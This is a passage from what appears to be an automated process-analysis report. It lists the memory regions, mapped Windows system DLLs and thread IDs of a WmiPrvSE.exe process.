= 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3081 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3082 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3083 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3084 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3085 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3086 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3087 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3088 start_va = 0x420000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 3089 start_va = 0x430000 end_va = 0x5b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 3090 start_va = 0x5c0000 end_va = 0x740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 3091 start_va = 0x750000 end_va = 0x80ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 3092 start_va = 0x840000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3093 start_va = 0x8c0000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 3094 start_va = 0x9c0000 end_va = 0xc8efff entry_point = 0x9c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3095 start_va = 0xc90000 end_va = 0x1082fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 3096 start_va = 0x10b0000 end_va = 0x112ffff entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 3097 start_va = 0x1170000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 3098 start_va = 0x1210000 end_va = 0x128ffff entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 3099 start_va = 0x1360000 end_va = 0x13dffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 3100 start_va = 0x1440000 end_va = 0x14bffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 3101 start_va = 0x1500000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 3102 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3103 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3104 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3105 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3106 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3107 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3108 start_va = 0xffce0000 end_va = 0xffd3efff entry_point = 0xffce0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 3109 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 3110 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3111 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3112 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3113 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3114 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3115 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3116 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3117 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3118 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3119 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3120 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3121 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3122 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3123 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3124 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3125 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3126 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3127 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3128 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3129 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3130 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3131 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3132 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3133 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3134 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3135 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3136 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3137 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3138 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3139 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3140 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3141 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3142 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3143 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3144 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3145 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3146 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3147 start_va = 0x7fef9200000 end_va = 0x7fef923bfff entry_point = 0x7fef9200000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Thread: id = 303 os_tid = 0x5e8 Thread: id = 304 os_tid = 0xa1c Thread: id = 305 os_tid = 0xa84 Thread: id = 306 os_tid = 0x578 Thread: id = 307 os_tid = 0x584 Thread: id = 308 os_tid = 0xa58 Thread: id = 309 os_tid = 0x870 Thread: id = 310 os_tid = 0x460 Thread: id = 317 os_tid = 0x930